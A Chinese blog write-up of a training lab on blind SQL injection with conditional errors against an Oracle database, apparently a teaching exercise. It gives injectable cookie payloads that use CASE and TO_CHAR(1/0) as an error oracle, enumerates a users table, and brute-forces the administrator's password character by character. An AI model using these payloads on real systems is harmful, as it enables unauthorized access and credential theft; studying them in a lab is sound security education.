当前位置: 首页 > news >正文

Lab12_ Blind SQL injection with conditional errors

文章目录

  • 前言:
  • 进入实验室
  • 构造 payload

前言:

实验室标题为:

利用条件错误进行 SQL 盲注

等级:执业者

简介:

本实验室包含一个盲 SQL 注入漏洞。应用程序使用跟踪 cookie 进行分析,并执行包含已提交 cookie 值的 SQL 查询。

SQL 查询的结果不会返回,应用程序也不会根据查询是否返回任何记录做出任何不同的响应。如果 SQL 查询导致错误,应用程序会返回一条自定义错误消息。

数据库包含一个名为users的不同表,其中有名为username和password的列。您需要利用 SQL 盲注漏洞找出管理员用户的密码。

要解决实验问题,请以管理员用户身份登录。

提示:本实验室使用的是 Oracle 数据库

进入实验室

可以看到,依旧是一个商店页面

构造 payload

和上一关一样,依旧是借助插件 EditThisCookie

输入单引号,刷新页面

页面显示报错,500 服务器内部错误

输入单引号+注释符,刷新页面

页面显示正常,报错消失

构造子查询,通过子查询判断报错是 SQL 语法报错,而不是其它类型的报错

'||(select '' from dual)||'

页面显示正常

继续构建一个无效的子查询

'||(select '' from aaaa)||'

页面报错

可以确认,后端将注入语句当作 SQL 查询处理

只要确保注入语法有效的 SQL 查询,就可以通告报错来推断数据库的关键信息

验证是否存在 users 表

' ||(select '' from users where rownum=1)||'

页面返回正常,表示存在 users 表

根据实验室提供的 SQL 注入小抄

SELECT 
    CASE 
        WHEN (your-condition-here) 
        THEN TO_CHAR(1/0)  -- 条件成立时执行
        ELSE NULL          -- 条件不成立时返回NULL
    END 
FROM DUAL;

修改 payload 为:

'||(select case when (1=1) then to_char(1/0) else '' end from dual)||'

刷新页面,显示报错信息

将 SQL 语句中的判断条件 1=1 改为 1=2

'||(select case when (1=2) then to_char(1/0) else '' end from dual)||'

页面返回正常

因此可以通过设置 SQL 语句中的条件为 1=1 ,使页面报错来推断数据库的关键信息

查询用户名 administrator 是否存在

'||(select case when (1=1) then to_char(1/0) else '' end from users where username='administrator')||'

页面报错,说明存在administrator 用户

继续判断管理员用户密码的字符数

'||(select case when length(password)>1 then to_char(1/0) else '' end from users where username='administrator')||'

通过页面报错来判断密码字符数,当页面不再显示报错时,密码的长度也就确定了

通过判断密码字符为 20 位

接着推断密码的具体值

'||(select case when substr(password,1,1)='a' then to_char(1/0) else '' end from users where username='administrator')||'

通过 burp 来爆破数据

在 SQL 语句中,条件为真时,页面显示 500 报错,因此可以通告 HTTP 状态码来判断

根据爆破结果,得到密码的具体值

ynhpdsfe6fkf9tdbd5nj

登录 administrator 账户,成功通关

相关文章:

  • 测试WSS服务器
  • N-bit ADC过采样和L阶噪声整形后的SQNR表达式
  • 自动化测试面试会问哪些?
  • Python中的数学问题3-math、pow
  • 【大模型】-名词手册-扫盲
  • 分类预测 | MFO-LSSVM飞蛾扑火算法优化最小二乘支持向量机多特征分类预测Matlab实现
  • swupdate升级文件系统内文件与分区的差异
  • 高德地图android sdk(备忘)
  • 科普:“Docker Desktop”和“Docker”以及“WSL”
  • Windows桌面系统管理6:计算机故障排查
  • 组合总和力扣--39
  • 如何安装虚拟机cenos7系统
  • Unity 聊天气泡根据文本内容适配
  • 解锁 AIoT 无限可能,乐鑫邀您共赴 Embedded World 2025
  • 当使用vcpkg安装的qt5时,在VS调用出现libcrypto-*-x64.dll不是有效路径时
  • Design Compiler:边界优化(Boundary Optimization)
  • nginx ngx_http_module(7) 指令详解
  • 从函数到神经网络
  • 解锁机器学习核心算法 | K-平均:揭开K-平均算法的神秘面纱
  • Unity性能优化个人经验总结(不定期更新)
  • 巴基斯坦外长:印巴停火
  • 竞彩湃|德甲欧冠资格竞争白热化,伯恩茅斯主场迎恶战
  • 马云再次现身阿里打卡创业公寓“湖畔小屋”,鼓励员工坚持创业精神
  • 人民财评:网售“婴儿高跟鞋”?不能让畸形审美侵蚀孩子身心
  • 代理销售保险存在误导行为,农业银行重庆市分行相关负责人被罚款0.1万元
  • 观察|印巴交火开始升级,是否会演变为第四次印巴战争?